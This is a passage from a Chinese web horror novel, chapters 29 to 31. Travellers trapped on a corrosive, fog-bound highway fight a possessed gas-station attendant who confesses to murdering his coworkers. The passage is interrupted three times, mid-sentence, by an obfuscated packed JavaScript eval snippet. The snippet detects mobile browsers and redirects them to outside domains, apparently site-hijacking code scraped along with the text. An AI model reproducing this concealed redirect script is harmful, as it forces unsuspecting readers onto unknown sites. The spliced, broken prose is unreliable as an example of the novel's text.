瓠犀高速收费站的轮廓在浓雾中迅速模糊、远去,只有那些疯狂舞动的鲜红肉触手,在逐渐远去的瓠犀高速收费站缓缓摇摆,没有追上来的意思。 季青的脑海里,不知为何又浮现出那个眼球的话: “最好的东西不能囫囵吞下……要品尝每一丝颤栗的滋味……” 29. 迷雾公路(四) 强行闯过收费站的SUV,如同一个狼狈的逃亡者,在愈发粘稠的迷雾中艰难喘息。 常岚靠在椅背上,低着头给受伤的右手缠上季青递过来的绷带,他只缠了薄薄的两层,血迹就没有再渗透出来。 “刚才那东西……是活的吗?”余子夜的声音带着劫后余生的虚脱和无法消散的惊讶。 她无意识地反复摩挲着自己手背上那个名为【痴骨缚】的橙色印记,锁链缠绕脊椎骨的图案,此刻仿佛真的在收紧,勒得她呼吸都有些困难。 “是规则的具象化,”季青的声音依旧平稳,但微微颤抖的指尖暴露了她内心的波澜。她低头凝视自己手背上那抹刺眼的鲜红——【无间甘霖】。 那尊由骷髅制成的酒杯,里面的猩红漩涡似乎活了过来,缓缓旋转,散发着一股诱惑与不祥交织的气息,吸引着她的目光,甚至有一瞬间,她仿佛听到了酒杯中传来细微的、渴望的低语。 江大河紧抿着嘴唇,一言不发,连续的刺激让他变得疲劳,布满血丝的双眼却仍然紧张地盯着前方。 车灯在这片灰白色的混沌中,如同风中残烛,光芒被贪婪地吞噬,只能照亮前方不足十米的路面,而这十米之外,是深不见底的未知。 然而,这片压抑的、相对平静的灰白,并未持续太久。 变化来得突兀而惊悚。 起初只是视野边缘的一丝异样,像是透过白雾的红光。紧接着,那抹异色迅速晕染、加深,如同无形的巨笔蘸饱了浓稠的血液,在灰白的画布上肆意涂抹。 几个呼吸之间,周遭的雾气彻底转化成为一种令人极端不适的、仿佛由亿万肮脏的尘土和血滴混合而成的暗红色! 整个世界骤然变调,原本就很低的能见度,如今更是到了伸手不见五指的程度,车灯的光柱在红雾中艰难穿透,却只能映照出前方一片混沌的、蠕动般的猩红。 “雾气变成红色的了!天啊,这……”余子夜紧贴着窗户,拿着摄像机记录的手微微颤抖。 这红雾,不仅预示着不详,在这片猩红的帷幕之后,更多的“旅伴”开始显现它们诡异的身影。 一辆锈蚀得千疮百孔、几乎只剩下扭曲框架的轿车,如同幽灵般悄无声息地从他们左侧滑过: 驾驶座上,一具森白的骷髅骨架保持着双手紧握方向盘的姿态,空洞的眼窝“望”着红雾深处,下颌骨似乎还在微微开合,像是在无声地嘶吼。 右侧不远处,一辆侧翻的巴士残骸半埋在红雾中,破碎的车窗像一张张择人而噬的巨口。隐约可见车内有许多扭曲、纠缠的人影在蠕动: 那些人影只是用拳头和脑袋不断地撞击着车窗内壁,发出沉闷的“咚、咚、咚”声,仿佛在敲击着通往地狱的丧钟。 这些“幽灵车”如同这条死亡公路上永恒的囚徒,在这片红雾中无尽地重复着它们生命最后时刻的绝望轨迹,无声地昭示着所有闯入者的可能结局。 不能这样下去,肉眼在这片猩红的迷雾中寸步难行,常岚伸出左手敲了敲车载的中控,唤起导航。 “滋滋……” 车载屏幕上,平静无波的电子女声再次响起,语调单调得令人发毛:【前方请直行,2公里后右转……】 有指引总比在猩红地狱里盲目乱窜好,江大河集中最后的精神,依循着导航的指令,在能见度极低的红雾中艰难地操控着车辆,每一次转向都感觉像是在撞向一堵柔软的墙。 直行,右转。 再直行,再右转。 如此重复了三四次后,当路边再次闪过一个似曾相识的、半边坍塌的广告牌残骸时,季青抬起头,叹了一口气: “一直在右转,我们是在绕一个巨大的圈子。” “它不是在指引我们出去,它是在让我们在这个环形路上不断循环。” 季青的声音带着一丝不易察觉的犹豫,“它在消耗我们的燃料,消磨我们的意志,同时……” 仿佛是为了给她的话加上紧张急迫的注脚,发现了什么的余子夜突然出声:“我们的车!车漆在剥落!” 所有人的目光瞬间聚焦在车窗边缘,只见SUV原本光亮的黑色车漆,此刻正以肉眼可见的速度变得暗淡、粗糙,泛起密密麻麻如同水泡般的凸起,随后,“水泡”破裂,漆皮卷曲、剥落,露出底下暗红色的、已经开始出现锈斑的底漆! 这恐怖的锈蚀如同活着的瘟疫,正沿着车顶的“齿痕”和车身边缘,贪婪地向四周蔓延! “是这红雾!”常岚的视线没有离开红雾,漆黑的眸中亮光一闪而逝,他清晰地感知到红雾中蕴含的那股强烈的“腐朽”与“消亡”的法则力量: “它在腐蚀身在其中的一切物质,包括这辆车,恐怕最后……就是我们的身体!” 为了验证,江大河冒险将驾驶座车窗降下一条不到一指宽的缝隙。 “嗤——!” 一股带着强烈刺鼻铁锈和腥甜恶臭的红雾瞬间涌入,接触到车内塑料部件的瞬间,竟发出轻微的、如同强酸滴落的腐蚀声响! 同时,一股灼热的刺痛感顺着缝隙传来,江大河手背上的皮肤瞬间泛起不正常的红晕! 他猛地将车窗升起,脸色铁青,手背上那火辣辣的痛感清晰无比。 “不能再兜圈子了!”余子夜的声音带着焦急,她指着窗外那些逐渐被红雾吞噬、最终化为锈渣的幽灵车残骸,“我们会不会和它们一样!连人带车,彻底锈死在这里!” 必须找到变数!找到这个死亡公路循环中可以出去的岔道! 季青压下心头的寒意,再次将注意力集中到导航屏幕上。 除了那条循环往复的死亡指令,地图边缘还零星分布着几个极其模糊、仿佛随时会熄灭的不明图标。其中一个,离他们目前的环形路线似乎最近,标识是一个简笔画的汽油桶。 可图标和他们当前行驶的公路之间,并没有什么道路相连。 “不管目的地是哪里,我们首先要离开这个循环公路!” 季青的声音带着坚定,她用力指着那个汽油桶图标,“这是循环路线之外最近的标记点,可能是规则允许的‘安全区’或者‘暂停区’!” 江大河点了点头,他们已经不止一次看到季青注意到的废旧广告牌,再继续绕下去恐怕也是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548384|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样的后果。 没有时间犹豫,也没有更好的选择。 江大河眼中闪过一丝决绝,在下一次导航发出“右转”指令之前,他猛地一打方向盘,轮胎发出刺耳的摩擦声,车辆如同挣脱无形缰绳的野马,狠狠冲破了红雾中那令人窒息的引导力,驶入无路之地,朝着标记位置的方向亡命奔去。 车身传来更加剧烈的震动和令人牙酸的金属呻吟声,仿佛每一个零件都在发出最后的抗议,锈蚀的碎屑从车身上簌簌掉落,消失在翻滚的红雾中。 就在众人以为要开到野地里的时候,车底居然出现了一条未在地图上标注的路,SUV并未像大家想象中一样继续颠簸,而是逐渐平稳行驶。 终于,在这条公路的尽头,一座孤零零的、被浓郁红雾包裹的建筑轮廓显现出来。 那是一个看起来废弃已久的加油站,顶棚歪斜,加油机布满厚厚锈垢,只有旁边便利店的窗户里,透出一点微弱得仿佛随时会熄灭的昏黄灯光。 在这片无尽的猩红绝望中,那点微光,如同海市蜃楼,散发着诡异而诱人的气息。 车辆歪歪斜斜地冲进加油站,带着刺耳的刹车声停在了加油站中。 众人刚来得及喘一口气,就听到旁边阴影里传来一阵压抑的、充满了恐惧和无助的抽泣声。 循声望去,只见一辆布满刮痕和锈迹的家庭轿车停靠在加油站的便利店墙边,车旁蜷缩着一对中年夫妇和一个看起来不过七八岁的小女孩。男人正检查着汽车的轮胎;女人紧紧抱着女儿,身体不住地颤抖;而那个小女孩,则将脸深深埋在母亲怀里,瘦小的肩膀剧烈地耸动着。 更引人注目的是,季青敏锐地看到,那一家人裸露的手背上,赫然也有着印记——夫妇手背上的是【碌尘芥】印记,而小女孩的手背上则是【痴骨缚】。 加油站中没有雾气,但直到看到这一家人在加油站没有受到红雾的侵蚀,季青他们才敢放心下车。 “你们……你们是从哪里过来的?”中年男人看到车上下来的是人,惊喜地上前搭话。 他的声音沙哑干涩,带着深深的疲惫,“我们今天本来要搬家到B市,这条路我开过好多次了,但今天就莫名其妙开到一个不认识的高速收费站,本来想下一个路口就出去,结果一直在兜圈子……” “这鬼地方也没有信号,导航和电话都不起作用,我还说该不会要等到天亮吧,现在终于见到人了!” 季青一伙人面面相觑,只能坦白,他们并不是从什么可以出去的“生路”过来,而是同样从诡异的瓠犀高速收费站开过来的。 就在搭话的中年男人叹气时,“吱呀”一声,加油站便利店那扇布满脏污的玻璃门被从里面推开了。 一个穿着沾满不明污渍、颜色难辨工作服的男人,慢悠悠地踱了出来,他脸色是一种不健康的惨白,眼神浑浊,带着一种近乎彻底的麻木和平静,与周遭的绝望环境格格不入。 他手里拎着一个同样锈迹斑斑的小汽油桶,目光扫过新来的两拨人,嘴角扯出一个极其嘲讽、缺乏温度的弧度。 “欢迎来到‘锈蚀加油站’,羔羊们。” 30. 迷雾公路(五) 看到加油站有工作人员,那一家人又围了过去问路,却只得到了否认的回答。 见那个男人还在追问,加油站的工作人员换了一种更直观的劝告方式:一脚踢飞了旁边的空易拉罐。 黑暗中,没有传来易拉罐落地的乒乒乓乓声,易拉罐在接触到红雾的瞬间就开始融化崩解,这红雾的腐蚀性越来越强了。 绝望如同加油站外粘稠的红雾,无孔不入地渗透进每个人的毛孔。 那辆轿车的主人,终于停止了徒劳的询问,重重靠在车门上,声音沙哑带着无奈:“没办法了……真的没办法了。” 他走回家人身边,一遍遍抚摸着女儿的脑袋,安慰着家人: “咱们就先撑到天亮,等到太阳出来,说不定和之前一样……一切就都正常了!” 他这话像是在安慰家人,更像是在给自己打气。但这句看似绝望中的安慰,听在季青耳中,却宛如一道灵光,猝然穿透了她疲惫的神经。 和之前一样?天亮就好了? 这两个信息太关键了,毕竟在季青整理的《A市夜间安全守则》里,第一条就是: 一、A市的怪谈在日落后活跃、日出后休眠,但造成的影响不会在白天消失。 这意味着,这对夫妇并非完全无知地闯入这片绝地,他们至少对A市夜间的“异常”有所耳闻。 他们可能是带着某种程度的“知情”踏入这里的。 季青的心跳慢了一拍,随即又沉重地加速起来。她没有立刻转头,眼角的余光扫过那家人布满刮痕的车,以及他们手背上清晰的印记——夫妇是【碌尘芥】,小女孩是【痴骨缚】。 就在季青悄悄打量那一家人时,那一家的小女孩似乎感受到了季青的目光,也向季青她们望过来。 看到小女孩望向季青,那一家人小声商量了一下,便向他们走来,女主人露出苍白憔悴的脸,声音带着卑微的乞求: “那个……这几位美女帅哥,你们还有多余的水,或者一点吃的吗?我们出门太急了,车上什么吃的喝的都没有了……” 她怀里的女孩也抬起泪眼朦胧的小脸,那干裂的嘴唇无声地诉说着渴求。 “刚刚那个工作人员说他这里只加油,不卖水,我们也没有办法了。” 这里没有补给,也就意味着在这片绝地,每一滴水,每一口食物,都是活下去的筹码。余子夜面露不忍,下意识地摸了摸自己随身的背包,目光反复在几人脸上跳跃。 季青沉默了几秒,这沉默在压抑的空气中显得格外漫长。然后,她利落地转身,从自己的包里取出了两瓶矿泉水和几块独立包装的压缩饼干。 她递过去:“我们储备有限,我自己只能分你们这么多。” 余子夜见状,也从包里掏出水和两块巧克力塞给满脸泪痕的小女孩,顺势还亲昵地摸了摸小女孩的脑袋。 这家人接过水和饼干,连声道谢。 余子夜活动了一下手脚,又看看满眼血丝的江大河,提议道:“我们也吃点东西休息一下吧,现在外面这个情况感觉没法上路了,老江一直开车,应该也很累了。” 没等老江把“能撑住”几个字说出口,那个穿着油污工作服、脸色惨白得像浸泡过福尔马林的加油站工作人员,又一次如同从地底钻出般,悄无声息地出现在两车之间。 他浑浊的眼珠机械地转动,扫过每一个人,最后定格在孩子脸上,嘴角扯动: “休息?”他的声音干涩,像生锈的零件在摩擦,“后面,倒是有个客房,可以租给你们,休息一晚,不过不大,谁住?” 那一家人的男人立刻像抓住救命稻草,几乎是扑到季青他们前面,掏出钱包:“几位!让给我们吧!我们带着孩子,孩子受不了这罪!我可以给你们也付钱!多少钱都行!” 他的脸上混合着讨好、恐惧和一丝不容置疑的“父亲的责任”。 余子夜脸上也露出一丝担忧,她再次望了望老江,老江今晚一直在高压状态下开车,急需休息。 常岚则是回望季青,叹了口气,拍了拍SUV已经掉漆的车门:“我自己倒是没有问题,但是我们有四个人,这铁棺材里怎么躺?拆了骨头塞进去吗?” 工作人员似乎早就预料到这一切,他慢悠悠地,用一种令人毛骨悚然的平稳语调,抛出了一个“完美”的解决方案: “女人,和孩子,睡客房。男人,糙一点,车上将就。地方,不就有了?” 分开! 众人的脊背瞬间窜上一股寒意。在这个诡异莫名、规则杀人的地方,将大家拆散,无异于自断臂膀,将最脆弱的部分暴露给黑暗! 然而,这个提议却披着“照顾妇孺”的善良外衣,带着一种扭曲的“合理性”。 刚刚接受了施舍的那家人,立刻用充满感激和期盼的目光看向工作人员,又转向季青他们,无形的道德压力如同枷锁般套来。 季青飞速地权衡,她确实有向这家人询问事情的想法,关于这个加油站,论坛上并没有相关的信息,她需要更多的消息来源。 她再次看向队友,常岚微微颔首,拇指轻轻顶开了剑格,露出一线冰冷的剑刃寒光;江大河深吸一口气,微不可察地点了点头,右手悄然摸向了腰后——那里,或许藏着他作为刑警的最后保障;余子夜则对季青使了个眼色,手指隐晦地指了指自己的摄像机,示意她愿意冒险,并记录可能的情报。 “……好。”季青说出了大家都期待的那个字,“就这么办。” 决定落下,气氛轻松不少,季青、余子夜,以及抱着女儿的女人,四个女性顺着工作人员的指引,走向那扇仿佛通往另一个维度的客房破门。 常岚、江大河与男人,则各自回到车内,放下座椅休息,引擎熄灭,车灯关闭,整个加油站陷入了死寂,唯有红雾在边界外无声地咆哮。 客房比想象中更狭窄、更肮脏,空气中弥漫着浓重的铁锈、尘土和某种难以言喻的霉腐气味。 一张简陋的木头大床几乎占据了全部空间,墙壁上布满污渍,唯一的窗户被木板钉死,只有一盏功率极低的昏黄灯泡,提供着仿佛随时会熄灭的光明。 简单的洗漱后,四人挤在床上,女孩很快在妈妈的怀里沉沉睡去,发出不安的呓语,女人则依旧紧张地发抖。 季青靠在床头,看似闭目养神,耳朵却捕捉着门外最细微的声响。她状似随意地轻声开口,打破了令人窒息的沉默:“姐,刚到这里的时候,你家先生说你们是搬家去B市?” “你们在A市,是遇到了什么过不去的事,非要深夜搬家?” 黑暗中,那个女人的叹息声再次响起,压抑而恐惧,“不用这么客气,叫我的名字就好了,我叫吴晴。” “你们是好人,我也不瞒你们。是房子……新买的房子,不干净……” 她断断续续地诉说,“晚上总有声音,像有人在说话,但是听不清说的什么,东西第二天会出现在完全不同的地方,我们请了人看,各种方法试过,都没用……” “最先看见‘那个’的,是妞妞。”吴晴的声音陡然变得尖锐,充满了后怕,“她说这个家里,除了我们还有人在住。我们开始只当孩子胡说,直到……” “直到后来,我半夜醒来,真的……真的看到有诡影穿着我的睡衣在家里游荡!” 吴晴又叹了口气:“连我那个一向神经大条的笨蛋老公,他叫王四洲,他也看见了家里晚上有诡影在用他的东西。这些诡影越来越过分,甚至当着我们的面把家里的东西砸碎!我们家好像变成了诡的游乐场!” “惹不起至少躲得起,所以我们连夜想逃去我老公工作的B市,再也不来A市这个地方,明明这条路我老公上下班都开的,结果没想到这次怎么莫名其妙绕到这里来了……” 是孩子最先发现?以往上下班走这条路没有出事,家里闹诡之后搬家,结果首次绕进这段公路…… 季青的脑海中,仿佛一道惊雷炸响! 之前所有关于“瓠犀高速收费站印记”的猜测、验证到的帖子、观察到的细节,瞬间被这道闪电照亮,串联成清晰的链条! 印章并非随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553014|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,它映照的是对“异常”的认知和反应模式! 印记中的“业”字,最先引起季青这个民俗学助教的注意: “业”在佛教中核心指身、口、意,所造作的一切行为及其产生的潜在影响力,其本质是“因果律”的体现,即善业得善果,恶业得恶果。 也就是说,被烙上印记的人,与这个离奇的诡异地带,有着什么必然的联系。 吴晴夫妇和江大河,是后知后觉的被动承受者。他们意识到异常后,被这股异常反向标记,他们恐惧,但无法理解也无力改变。他们是诡异最基础的“目标”,【碌尘芥】印记上的磨盘,那条状的花纹就是等待被碾碎的人! 吴晴的女儿妞妞和余子夜,拥有更敏锐的灵觉,她们是擅长“认知”到异常存在的个体。这种敏锐和对异常的探究本身,就是一种强烈的特质,她们的灵魂注定与诡异纠缠,如同【痴骨缚】上的锁链! 季青再次打开论坛,找到了和她的理解最为相似的那篇:【瓠犀高速收费站印章分析】 在这篇帖子的说法中,印记分为四等,分别为: 【逆业印-秽土返】:代表着诡异感知较低,基本没有直面过诡异,对诡异来说没有什么价值的人,得到这个印记的人会被瓠犀高速收费站遣返。 【常业印-碌尘芥】:进入迷雾公路之后最多人获得的印,代表着已经意面对过诡异,拥有成为诡异目标的“资格”。 【缠业印-痴骨缚】较少的人会得到的印记,代表着此人对诡异的感知较大多数人更加灵敏,甚至主动发现过诡异,是受到诡异“欢迎”的人。 【孽业印-无间甘霖】极少数情况下会出现的印记,代表着此人身上聚集着诡异的因果,往往是对抗甚至杀死过诡异的人,是诡异追逐猎杀的目标。 换言之,每个人对诡异事件的深入程度,决定了收费站给予他们的“印记判词”! 除此之外,季青还有一个令人毛骨悚然的猜测—— 当你开始凝视深渊(诡异)时,深渊(诡异)恰恰也就凝视着你。 就像房间里的大象一样,诡异始终与大家相安无事地共存,可一旦你注意到那不同寻常的诡异,诡异也就标记了你,从此便会越陷越深! 这也解释了为什么会有【有人集齐了瓠犀高速收费站的印了吗】这样的帖子,正因为一个人对诡异的感知只会越来越深,最终便会滑向不可挽回的深渊! 除了常岚的【疑业印-未业混沌】没有帖子进行记录以外,还有一件事令季青十分在意…… 就在季青因这怀疑的念头着急,试图理清更多线索时—— “咔嗒。” 一声极轻微、极细微,仿佛冰层裂开第一道缝隙的声音,从门锁处传来。 季青全身的肌肉瞬间绷紧,睡意被彻底驱逐,心脏如同被一只冰冷的手攥住! 来了! 她无声地、迅捷地将手机塞到枕头下,用肘部顶了一下身边的余子夜。余子夜身体一僵,随即反握了一下季青的手,示意自己清醒着。 “吱嘎——” 门轴发出一声令人牙酸的、极力压抑的呻吟,那道狭长的、被昏黄灯光扭曲的影子,先于人像粘稠的液体般滑入了房间。 是那个工作人员,但他脸上的麻木消失了,取而代之的是一种混合了猎食者的贪婪、刽子手的冷酷,以及非人存在的空洞的狞笑。 他手中握着的,不再是汽油桶,而是一把锈迹斑斑、却在前端被恶意磨出锋利刃口的长扳手!那刃口在昏黄灯光下,反射着幽冷的、嗜血的光泽。 他精准而阴森地径直走向床边,他那双浑浊的眼珠,首先锁定的,正是睡在最外侧的季青。 冰冷的、带着浓重铁锈和血腥味的死亡气息,随着扳手的举起,笼罩而下。锋利的尖端,对准了季青脆弱的脖颈,即将完成一次无声的“收割”! 千钧一发! 突然,季青像矫健的猎豹一样翻身而起,一把抓起身上薄薄的被子罩在工作人员身上! “等你很久了!” 31. 迷雾公路(六) “动手!” 季青的低喝如同信号。 几乎在同一时间,早已准备好的余子夜从床的另一侧跳起! 她手中紧握的并非武器,而是那部一直处于待机状态的摄像机,她将镜头对准被被子暂时阻碍视线的工作人员,猛地按下了闪光灯! “咔嚓——!” 随着清脆的电子快门声,炽烈的白色闪光在狭小的客房内如同微型太阳般绽放! 加油站的工作人员,刚刚揭开盖在身上的被子,就在黑暗中直视了如此呛眼的灯光,一时间竟头晕眼花,他低头捂着眼睛,踉跄着向后倒退。 机会! 季青没有丝毫犹豫,在滚下床的瞬间,她已经抓起了自己那个提前装满矿泉水瓶,颇为沉重的帆布背包! 她如同抡动链球般,利用腰腹力量猛地旋转半圈,将背包狠狠砸向工作人员微微低下的后脑! “砰!” 一声令人牙酸的、介于闷响与骨裂之间的声音!工作人员被打得向前猛扑,脑袋以一个不正常的角度歪斜,但他没有立刻倒下,反而发出一声野兽般的咆哮。 他仍挥舞着手中那锈迹斑斑、前端磨得锋利的扳手,扳手带着恶风,胡乱却致命地向四周狂扫!破旧的椅子瞬间被砸成碎片。 工作人员闭着眼睛,凭着记忆朝季青的方向猛扑过去! “破!” 就在此时,客房那扇被木板钉死的窗户,伴随着一声冰冷的低喝,轰然破碎。木屑与玻璃渣如同爆炸般向内飞溅,一道身影裹挟着窗外湿冷的空气与无匹的锋锐,如同陨星般坠入室内! 是常岚! 他根本无需看清屋内具体情况,在破窗的瞬间,他那柄古朴的七星剑已然出鞘,剑尖划破空气,带起一声清越的剑鸣,精准无误地点向工作人员依旧紧握着凶器扳手的右手手腕! 工作人员似乎感知到了致命的威胁,想要缩手,但被闪光晃眼、又被重击后脑的他,动作已经迟缓许多。 “嗤啦!” 剑刃划破那人脏污的工作服,却没有斩断手腕,而是精准地挑断了他的肌腱。 工作人员的整个右手瞬间一软! “当啷!” 锈蚀的扳手终于脱手,掉落在地,发出沉闷的声响。 几乎在扳手落地的同时,客房的门被一股蛮横的力量从外猛地撞开,门板都几乎飞起! 江大河如同暴怒的雄狮冲入,手中那根从车上带下来金属撬棍带着他所有的力量与愤怒,直接捅向了工作人员的胸口! 这一下十分扎实,足以让普通人受到致命伤害! “噗嗤!”撬棍尖端没入,却仿佛扎进了一团浸满油脂的破布,阻力异常强大。 吴晴的丈夫王四洲也战战兢兢地跟在后面,手里举着一个灭火器,脸上满是惊恐,但依旧强撑着没有退缩。 局势逆转! 季青喘息着,但她依旧死死盯着那个靠着墙壁滑坐下去,右臂不自然扭曲,胸口还插着半根撬棍的工作人员。 “你是谁?或者说,你曾经是谁?”她的声音不高,却冰冷如铁,“这里到底是什么地方,怎样才能离开?!” 那工作人员缓缓抬起头,他的脸在昏暗灯光映照下,显得格外诡异。 他没有看季青,而是低头看向自己受伤的手臂和胸口,那里破损的工作服下,露出的并非血肉,而是无数纠缠蠕动的、仿佛活物般的黑色线缆与暗红色肉芽,正在微微搏动,试图弥合伤口。 他伸出完好的左手,用手指蘸了点胸口渗出的黑色粘液,放到眼前仔细看着,然后,他忽然低低地笑了起来,笑声从一开始的压抑,逐渐变得疯狂而肆意。 “哈哈哈哈哈,我不是人……我原来不是人了!” 癫狂的笑声回荡在客房中,吴晴悄悄把女儿带到后面,捂住了妞妞的耳朵和眼睛,可那个工作人员没有停下的意思,只是一味地挠着伤口,破损的皮肤被一片片揭下,似乎是要把自己撕扯殆尽。 “干什么呢!先回答问题!”江大河将冰冷的撬棍抽出,用尖端抵住工作人员的喉咙。 或许是意识到自己在做无用功,工作人员终于停下了动作,缓缓开口,声音嘶哑干涩,依旧用着那一字一句,仿佛很久没有说过话的语调回答: “我和你们一样,是迷路的人。三个月前,和同事一起,误入这里……” 他开始叙述,语调时而平缓如同梦呓,时而高亢如同演讲,充满了病态的“回味”。 他们一行五人,开着公司的面包车,同样陷入了这片无尽的迷雾公路。 经历了最初的恐惧和混乱后,他们发现资源在快速消耗,而周围的“异常”却越来越多。不过同事们没有放弃,他们互相鼓励,苦苦煎熬,希望能够找到出去的路。 “饿啊,渴啊,害怕啊……外面全是莫名其妙的东西!我们像待宰的羔羊一样毫无办法!” 他的脸上突然又露出一种诡异的陶醉,“直到,我听到了‘上天’的声音,那么温柔,那么仁慈……它给了我一个选择……” 他的眼神变得狂热:“它告诉我,只要我愿意放弃‘离开’的念头,彻底归属于这条路,成为它的一部分,成为……‘伥鬼’,引导后来的‘迷途者’,并将他们‘献祭’给这条路……” “我就能活下去,不再感到饥饿,不再感到干渴,也不再会有……恐惧。” 他舔了舔干裂的嘴唇,仿佛在品尝绝世美味:“第一个是老张,那个总爱指手画脚的家伙,守夜的时候睡着了。我拿起扳手……就那么一下!‘噗嗤’!像砸开一个熟透的西瓜!” 他闭上限,满脸迷醉:“奇妙的事情发生了!我不渴了!一点都不渴了!” “然后是第二个,小李。我把他按在方向盘上,咔嚓一声,嘿,脖子就断了。然后,我就也不饿了!” 他越说越兴奋,手舞足蹈,完全不顾及伤口:“第三个!第四个!每杀掉一个,我就轻松一分!我不累了!我不怕了!所有的恐惧、疲惫、饥渴……都让他们替我承受了!我把他们……献祭了!” “而我,获得了永恒的资格!我是这里的一部分了!哈哈哈!” 这就是为什么加油站没有任何物资,因为这里的“工作人员”,早已不需要这些。 他通过“献祭”别人,来维持自身在这种诡异状态下的“存活”! “所以……你就帮它杀人?”余子夜声音颤抖,带着难以置信的愤怒,摄像机依旧对准着他,记录着这罪恶的自白。 “不然呢。”伥鬼露出一个徒劳的笑容,“不然就会像他们一样,被消耗殆尽……或者像,外面那些幽灵车一样,永远重复死亡。” “我以为,至少我,现在还‘存在’。” “原来我早就不是人了,原来我,不是人啊,对啊,我本来就,不是人!我是畜牲!畜牲啊哈哈哈哈!” “哈哈……哈哈哈!” 他的笑声癫狂而绝望,听得在场的几人都汗毛倒数。 “你在这里这么久,就没想过离开?”季青不受他的情绪影响,向他抛出了关键的问题。 “离开?呵呵,呵呵呵……”伥鬼诡异地笑着,“吃进去的东西,没有,吐出来的道理……” 他顿了顿,似乎回忆着什么:“这条路上,不止我一个,‘工作人员’。往迷雾深处走,有一个,更大的‘太仓服务站’。” “那里,聚集了更多,像我一样‘留下’的人,也有一些,还在挣扎的人。那里更大,规则也更复杂,也许,有你们想要的,答案。” 太仓服务站? 这个词让季青心中一动,她抓住了一点头绪,一条又一条的信息,似乎在佐证她那大胆的猜测! 就在她还想追问更多关于服务站的细节时,异变陡生! 伥鬼身下的地面,那看似坚实的水泥地,突然变得如同沼泽般泥泞柔软!无数涌动的鲜红色触手猛地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16559301|185241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地底伸出,密密麻麻地抓住了他的脚踝、小腿、腰部! 几人赶紧远离伥鬼,幸而触手并没有伸向其他人。 “哈哈哈哈哈,我没用了,是不是?是不是!我因为你,害死了,那么多人,还是要被你……!”伥鬼脸上的绝望变为了极端愤怒,他疯狂地挣扎起来。 但毫无用处。 那些鲜红的触手蕴含着无法抗拒的力量,将他猛地向下拖拽!他的身体如同陷入流沙,迅速被那片肉质吞噬。 他最后发出的,不是惨叫,而是一种仿佛被折断、碾碎、令人牙酸的咯吱声! 短短几秒钟后,地面恢复原状,仿佛什么都没有发生过,只有那把掉落在地的锈蚀扳手,以及空气中残留的淡淡腥臭,证明着刚才发生的一切。 所有人都被这突如其来、诡异莫名的“清理”方式震撼得说不出话,工作人员被杀掉了!只因为他杀害迷路的人失败,失去了价值? “他,他被……”王四洲吓得脸色惨白,几乎握不住灭火器。 吴晴紧紧抱着瑟瑟发抖的女儿妞妞,母女二人的抽泣声在死寂中格外清晰。 季青深吸一口气,她看向伙伴们,从他们眼中看到了同样的凝重。 这个“迷雾公路”,比他们想象的更加危险和诡异。它不仅吞噬□□,更能扭曲灵魂,制造伥鬼,并最终连伥鬼本身也会在失去价值后被“回收”! “这里不能待了。”江大河沉声道,声音带着一丝犹豫,“可我们要去哪?那个什么服务站吗?” 季青转向惊魂未定的那家人:“你们也听到了。留在这里,只有死路一条。跟我们一起,去那个服务站,或许还有一线生机。” “要不,我们等天亮再走吧?”吴晴小心翼翼地开口,“之前我们家闹诡的时候,就是到天亮就没事了,天亮出发会不会安全一点?” 季青苦笑一下,露出手腕上的石英表,自从遭遇保安怪谈后,为了防止电子产品再出问题,她就特意买了这块机械表。 而此时,手表的时针已经走到了“7”,平时这个点,早就该天亮了,可现在窗外还是一片漆黑,只有猩红的雾气在黑暗中汹涌。 “这里没有白天和黑夜,也许,我们来到了一个阳光根本照不进来的地方。” “留在这里,就是等死。”江大河抹了把脸,强行提振精神,“车还能开,我们还有燃料。与其在这里等着被不知道什么东西找上门,不如主动闯一闯!” 常岚走到窗边,凝视着红雾,简短地说:“雾的腐蚀性似乎在减弱。” 他感知到,之前那种无时无刻不在侵蚀物质的“活性”正在缓慢下降,仿佛因那个伥鬼的献祭,进入了短暂的“懈怠”状态。 这是一个恰好的窗口期。 王四洲和吴晴对视一眼,都从对方眼中看到了绝望中的最后一丝无奈,他们别无选择。 众人迅速收拾好东西,回到车上,启动引擎,车灯再次刺破浓郁的红雾。 考虑到江大河需要休息,这次换作常岚开车,他踩下油门,在诡异导航的指引下,将车驶离了这个刚刚经历了一场生死搏杀与诡异吞噬的锈蚀加油站。 这一次,导航屏幕上,那条循环的死亡路线消失了。取而代之的,是在屏幕边缘闪烁的一个新的图标——一个简笔画的三层建筑,旁边标注着模糊的字样:太仓服务站,前方15km。 余子夜调试着摄像机拍摄车窗外的景物,突然,她发出一声低呼:“你们看!前面……好像有光?” 